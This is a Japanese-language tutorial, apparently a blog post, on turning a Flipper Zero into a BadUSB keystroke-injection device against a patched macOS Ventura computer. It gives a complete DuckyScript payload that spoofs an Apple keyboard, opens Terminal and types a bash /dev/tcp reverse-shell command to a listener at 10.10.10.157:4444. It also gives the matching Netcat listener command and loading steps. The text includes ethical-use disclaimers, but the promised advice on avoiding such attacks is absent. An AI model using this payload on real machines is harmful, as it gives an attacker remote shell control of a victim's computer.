Flipper Zero、短い 12 行の DuckyScript テキスト ファイル、および Ubuntu サーバーのリモート リスナーを使用して、完全にパッチを適用した最新の Ventura macOS コンピューターでシェルを取得することができました。
私のラボ環境では、Flipper Zero を侵入テスト デバイスとして使用して、サーバーとデスクトップ システムの脆弱性をテストしています。
Flipper Zero は、無数の利用可能なペイロードを提供し、画面上のメニュー選択ツールを備え、進行状況表示を使用してフィードバックを提供するため、私たちが好む倫理的ハッキング ツールです。
この記事は、Flipper Zero を Ethical Pentesting BadUSB デバイスとして使用する方法と、そのようなエクスプロイトの犠牲になることを回避する方法の例です。あなたが所有していない、または使用する権限を持っていないコンピューターでは、これを使用しないでください。このコードは、侵入検知システム (IDS)、侵入防止システム (IPS)、ネットワーク検知システム、ファイアウォール、またはウイルス対策 (AV) ソフトウェアから隠そうとはしません。
Flipper Zero BadUSB およびその他のいくつかの BadUSB デバイスは、DuckyScript で記述されたペイロードを使用します。キーボード インジェクション攻撃を引き起こすキーストロークを実行するための単純なスクリプト言語。
Duckyscript ペイロードの出発点として、Hak5 の公式 Web サイトを参考にしてください。
既製のスクリプトを使用することも、独自のスクリプトを作成することもできます。簡単なステップバイステップのチュートリアルで、macOS コンピューターでリバース シェルを悪用する方法を紹介します。
お気に入りのテキスト エディターを使用して、次のテキストを入力します。 macOS にはデフォルトで TextEdit アプリケーションがインストールされているので、それを使用します。
ID 05ac:021e Apple:Keyboard
DELAY 1000
GUI SPACE
DELAY 200
STRING terminal
DELAY 200
ENTER
DELAY 1000
STRING bash -i >& /dev/tcp/10.10.10.157/4444 0>&1
DELAY 1000
ENTER
DELAY 1000
このウォークスルーでは、DuckyScript について詳しく知る必要はないので、スクリプトで使用するいくつかのコマンドについて説明します。実際に使用するコマンドは 5 つだけです。
指示 | 説明 |
---|---|
ID 05ac:021e アップル:キーボード | この行は、Flipper Zero が実際には Apple キーボードであることを macOS に伝えます。この行を使用しない場合、macOS は [キーボード セットアップ アシスタント] ダイアログを表示し、スクリプトが失敗します。 |
遅れ | このコマンドは、オペレーティング システムに一定時間待機するように指示します。これらの遅延を使用しないと、スクリプトの実行が速すぎて失敗します。 |
GUI スペース | Apple コマンド キーとスペース バーを押して、[Spotlight 検索] ウィンドウを開きます。 |
STRING ターミナル | Spotlight 検索ウィンドウに「Terminal」という文字列を入力します。 |
入力 | キーボードの ENTER キーまたは Return キーを押します。 ENTER キーを押すと、macOS はターミナル ウィンドウ (/Applications/Utilities/Terminal) を起動します。 |
STRING bash -i >& /dev/tcp/10.10.10.157/4444 0>&1 | このコマンドは、ポート 4444 の 10.10.10.157 でリッスンする Netcat サーバーへの接続を確立するターミナル ウィンドウにテキストを入力します。 |
10.10.10.157とポート4444 のIP アドレスをサーバーの IP アドレスとポートに変更します。
このファイルをrev_shell_macos.txtとしてディスクに保存します。 Flipper Zero のbadusbディレクトリの下にはサブディレクトリ編成がないため、異なるオペレーティング システムで複数のペイロードを使用している場合は、それが何をするのかを理解できるように、自分にとって意味のある命名規則を使用してください。
qflipper アプリケーションをまだインストールしていない場合は、Flipper Zero の公式更新ページにアクセスして、お使いのオペレーティング システムのインストーラーを選択してください。このページはファームウェアの更新ページですが、下部には qflipper アプリケーションをインストールするためのリンクがあります。
https://flipperzero.one/update
ご使用のオペレーティング システムの指示に従って、qflipper アプリケーションをインストールします。
qflipper アプリケーションを開き、赤で強調表示されたフォルダー アイコンを選択します。
SD カードのアイコンを選択してダブルクリックし、内容を表示します。
前に作成したrev_shell_macos.txtファイルを見つけて、 badusbフォルダーにドラッグします。
ファイルのコピーが完了したら、コンピューターから Flipper Zero を取り外します。
Flipper Zero BadUSB は準備が整っており、すぐに使用できます。ただし、最初に、サーバーにリモート リスナーを設定する必要があります。 Ubuntu サーバーで、次のコマンドを使用して Netcat リスナーを開始します。
$ nc -nlvp 4444
コマンドの内訳を次の表に示します。繰り返しになりますが、このコマンドを使用して何が起こっているのかを知る必要はありません。着信接続を待っているということ以外は。
指示 | オプション |
---|---|
NC | Netcat コマンド |
-nlvp | ( n ) DNS 解決なし、( l ) 着信接続をリッスン、( v ) 詳細出力、( p ) ポート |
4444 | リッスンするポート番号 |
Netcat リスナーの準備が整い、着信接続を待機するようになったので、Flipper Zero BadUSB 攻撃を続行できます。
難しい部分は完了です。 Flipper Zero BadUSB reverse_shell_macos.txtファイルが書き込まれ、Flipper Zero に移動され、Netcat リスナーが接続を待機しています。
Bad USB メニューを見つけて、Run ボタンを選択します。まだ Flipper Zero をコンピュータに接続しないでください。 Flipper Zero は、デバイスを接続するタイミングを知らせてくれます。
前の手順でコピーした DuckyScript ファイルに移動します。このファイルが表示されない場合は、間違ったディレクトリにコピーしています。 rev_shell_macosを選択し、[実行] ボタンをクリックします。
Connect to USBアラートが表示されたら、Flipper Zero を iMac または MacBook の USB ポートに接続できます。 [実行] ボタンをクリックします。
メイン ウィンドウで、BadUSB スクリプトの進行状況を確認できます。ステータスが 100% に達するとペイロードが完了し、フリッパー ゼロを取り外すことができます。
iMac のコンピューターのモニターを見ていると、DuckyScript を実行するエクスプロイトを見ることができます。 Ubuntu サーバーの Netcat リスナーは、成功した要求の結果を表示します。
これで、リバース シェルを介して macOS コンピューターを制御できるようになりました。 BSD Linux のバージョンで実行すると、物理的な iMac のキーボードに座っているかのように、Unix コマンド ライン ツールと BASH シェルを使用できます。
whoami 、 pwd 、 ls 、 cdなどの通常の Linux コマンドを使用して、ファイル システムをナビゲートし、オペレーティング システムを操作できます。
Flipper Zero が BadUSB デバイスとしてどのように動作するかを理解したので、独自のスクリプトを作成できます。独自の Duckyscript ファイルの出発点として、Hak5 サイト、または Google 検索で入手できる多数の DuckyScript GitHub リポジトリーの 1 つを使用してください。
合法的かつ倫理的に行動します。このツールは、所有しているデバイス、または使用許可を持っているデバイスで使用してください。